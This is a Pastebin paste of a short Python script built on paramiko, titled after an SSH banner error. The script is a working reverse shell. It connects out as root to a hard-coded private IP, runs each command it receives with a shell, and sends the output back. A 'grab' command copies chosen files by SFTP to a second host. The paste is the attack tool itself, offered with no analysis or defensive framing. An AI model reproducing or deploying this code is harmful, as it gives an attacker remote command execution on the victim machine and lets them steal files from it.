Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Error reading SSH Protocol Banner
- key = paramiko.RSAKey.from_private_key_file('testkey.key')
- def sftp(localpath, name):
- try:
- transport = paramiko.Transport(('192.168.1.111', 10000))
- transport.connect(username='root', password='toor', pkey=key)
- sftp = paramiko.SFTPClient.from_transport(transport)
- sftp.put(localpath, '/root/uploads/' + name)
- sftp.close()
- transport.close()
- return "<+> Done uploading"
- except Exception as e:
- return str(e)
- client = paramiko.SSHClient()
- client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- client.connect('192.168.1.107', username='root', password='toor')
- chan = client.get_transport().open_session()
- chan.send("Hey man! I'm connected!")
- print(chan.recv(1024))
- while True:
- command = chan.recv(1024).decode()
- if 'grab' in command:
- _, path, name = command.split(' ')
- chan.send(sftp(path, name))
- else:
- try:
- CMD = subprocess.check_output(command, shell=True)
- chan.send(CMD)
- except Exception as e:
- chan.send(str(e))
- client.close()
Add Comment
Please, Sign In to add comment